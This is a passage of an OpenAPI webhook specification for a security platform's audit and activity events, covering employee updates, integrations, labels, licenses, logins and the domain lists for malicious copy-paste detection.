                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example added excluded extension domains
                object:
                  type: string
                  enum:
                    - EXCLUDED_EXTENSION_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Excluded extension domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  extended-audit-logs-toggled:
    post:
      summary: Extended audit logging toggled
      description: An admin user has enabled or disabled extended audit logging.
      operationId: extended-audit-logs-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - EXTENDED_AUDIT_LOGGING_TOGGLED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Extended audit logging toggled
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com set extended audit logging to true
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the extended audit logging setting was set to
                        enabled or not.
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  excluded-extension-domains-removed:
    post:
      summary: Excluded extension domains removed
      description: >-
        A set of domains have been removed from the list of excluded browser
        extension domains to monitor.
      operationId: excluded-extension-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example removed excluded extension domains
                object:
                  type: string
                  enum:
                    - EXCLUDED_EXTENSION_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Excluded extension domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employee-email-updated:
    post:
      summary: Employee email updated
      description: An admin user has updated the primary email of an employee.
      operationId: employee-email-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated an employee's primary email
                object:
                  type: string
                  enum:
                    - EMPLOYEE_EMAIL_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employee email updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    email:
                      type: string
                      format: email
                      description: The new email address of the employee.
                  required:
                    - email
                old:
                  type: object
                  properties:
                    email:
                      type: string
                      format: email
                      description: The old email address of the employee.
                  required:
                    - email
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
                - old
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employee-name-updated:
    post:
      summary: Employee name updated
      description: >-
        An admin user has updated the first name and/or last name of an
        employee.
      operationId: employee-name-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated an employee's name
                object:
                  type: string
                  enum:
                    - EMPLOYEE_NAME_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employee name updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    email:
                      type: string
                      description: The email address of the employee.
                    firstName:
                      type: string
                      description: The updated first name.
                    lastName:
                      type: string
                      description: The updated last name.
                  required:
                    - email
                    - firstName
                    - lastName
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employee-removed-from-group:
    post:
      summary: Employee removed from group
      description: An admin user removed an employee from a group.
      operationId: employee-removed-from-group-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com removed an employee from the group
                    Engineers
                object:
                  type: string
                  enum:
                    - EMPLOYEE_REMOVED_FROM_GROUP
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employee removed from group
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    group:
                      type: string
                      description: The name of the group.
                    employee_id:
                      type: string
                      description: The ID of the employee removed from the group.
                  required:
                    - group
                    - employee_id
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employees-merged:
    post:
      summary: Employees merged
      description: An admin user has merged a list of employees.
      operationId: employees-merged-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com merged employees
                object:
                  type: string
                  enum:
                    - EMPLOYEES_MERGED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employees merged
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    primaryEmployeeId:
                      type: string
                      description: The ID of the primary employee.
                    secondaryEmployeeIds:
                      type: array
                      items:
                        type: string
                      description: >-
                        A list of the IDs of the employees that were merged into
                        the primary employee.
                  required:
                    - primaryEmployeeId
                    - secondaryEmployeeIds
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employees-unmerged:
    post:
      summary: Employees unmerged
      description: >-
        An admin user has unmerged one of the emails of an employee into a new
        employee.
      operationId: employees-unmerged-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com unmerged employees
                object:
                  type: string
                  enum:
                    - EMPLOYEES_UNMERGED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employees unmerged
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    primaryEmployeeId:
                      type: string
                      description: The ID of the primary employee.
                    unmergedEmployeeId:
                      type: string
                      description: The ID of the new employee unmerged.
                    unmergedEmail:
                      type: string
                      description: The email used to unmerge the employee.
                  required:
                    - primaryEmployeeId
                    - unmergedEmployeeId
                    - unmergedEmail
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  finding:
    post:
      summary: Finding
      operationId: finding-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A finding was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    MFA not registered finding observed for user@example.com on
                    Google Workspace
                object:
                  type: string
                  enum:
                    - FINDING
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Finding
                new:
                  $ref: '#/components/schemas/FindingEvent'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/FindingEvent'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  integration-added:
    post:
      summary: Integration added
      description: A new integration has been added.
      operationId: integration-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example generated an integration link for Google
                object:
                  type: string
                  enum:
                    - INTEGRATION_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Integration added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    appType:
                      type: string
                      description: Type of integration that has been added.
                  required:
                    - appType
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  integration-completed:
    post:
      summary: Integration completed
      description: An integration has been successfully completed.
      operationId: integration-completed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Google integration completed
                object:
                  type: string
                  enum:
                    - INTEGRATION_COMPLETED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Integration added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActorNullEmail'
                new:
                  type: object
                  properties:
                    appType:
                      type: string
                      description: Type of integration that has been completed.
                  required:
                    - appType
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  integration-removed:
    post:
      summary: Integration removed
      description: A integration has been removed.
      operationId: integration-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example removed a Google integration
                object:
                  type: string
                  enum:
                    - INTEGRATION_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Integration removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    appType:
                      type: string
                      description: Type of integration that has been removed.
                  required:
                    - appType
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  label-updated:
    post:
      summary: Label updated
      description: A label has been updated.
      operationId: label-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated a label
                object:
                  type: string
                  enum:
                    - LABEL_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Label updated
                actor:
                  type: object
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    label:
                      type: string
                      description: The new value of the updated label.
                  required:
                    - label
                old:
                  type: object
                  properties:
                    label:
                      type: string
                      description: The value of the label before the update.
                  required:
                    - label
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
                - old
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  label-removed:
    post:
      summary: Label removed
      description: A label has been removed.
      operationId: label-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed a label
                object:
                  type: string
                  enum:
                    - LABEL_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Label removed
                actor:
                  type: object
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    label:
                      type: string
                      description: The removed label.
                  required:
                    - label
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  leaked-password-check-toggled:
    post:
      summary: Leaked password check toggled
      description: An admin user has toggled the leaked password check.
      operationId: leaked-password-check-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com toggled leaked password check to true
                object:
                  type: string
                  enum:
                    - LEAKED_PASSWORD_CHECK_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Leaked password check toggled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: Whether the leaked password check is enabled or not.
                      example: true
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  license-assigned:
    post:
      summary: License assigned
      description: One or more employees have been assigned a license.
      operationId: license-assigned-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example assigned licenses to employees
                object:
                  type: string
                  enum:
                    - LICENSE_ASSIGNED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: License assigned
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    employees:
                      type: array
                      items:
                        type: string
                      description: >-
                        A list of the employees that have been assigned a
                        license.
                  required:
                    - employees
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  license-removed:
    post:
      summary: License removed
      description: The license has been removed from one or more employees.
      operationId: license-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example removed licenses from employees
                object:
                  type: string
                  enum:
                    - LICENSE_ASSIGNED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: License removed
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    employees:
                      type: array
                      items:
                        type: string
                      description: >-
                        A list of the employees from which the license has been
                        removed.
                  required:
                    - employees
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  login:
    post:
      summary: Login
      operationId: login-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A login occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - ACTIVITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com logged into https://login.com using a
                    password
                object:
                  type: string
                  enum:
                    - LOGIN
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Login
                new:
                  $ref: '#/components/schemas/LoginEvent'
                  description: Login event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Activity
  malicious-copy-paste-detection-ignored-domains-added:
    post:
      summary: Malicious copy paste detection ignored domains added
      description: >-
        A set of domains have been added to the list of ignored domains for the
        malicious copy and paste detection feature.
      operationId: malicious-copy-paste-detection-ignored-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added ignored domains
                object:
                  type: string
                  enum:
                    - MALICIOUS_COPY_PASTE_DETECTION_IGNORED_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Malicious copy paste detection ignored domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  malicious-copy-paste-detection-ignored-domains-removed:
    post:
      summary: Malicious copy paste detection ignored domains removed
      description: >-
        A set of domains have been removed from the list of ignored domains for
        the malicious copy and paste detection feature.
      operationId: malicious-copy-paste-detection-ignored-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed ignored domains
                object:
                  type: string
                  enum:
                    - MALICIOUS_COPY_PASTE_DETECTION_IGNORED_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Malicious copy paste detection ignored domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
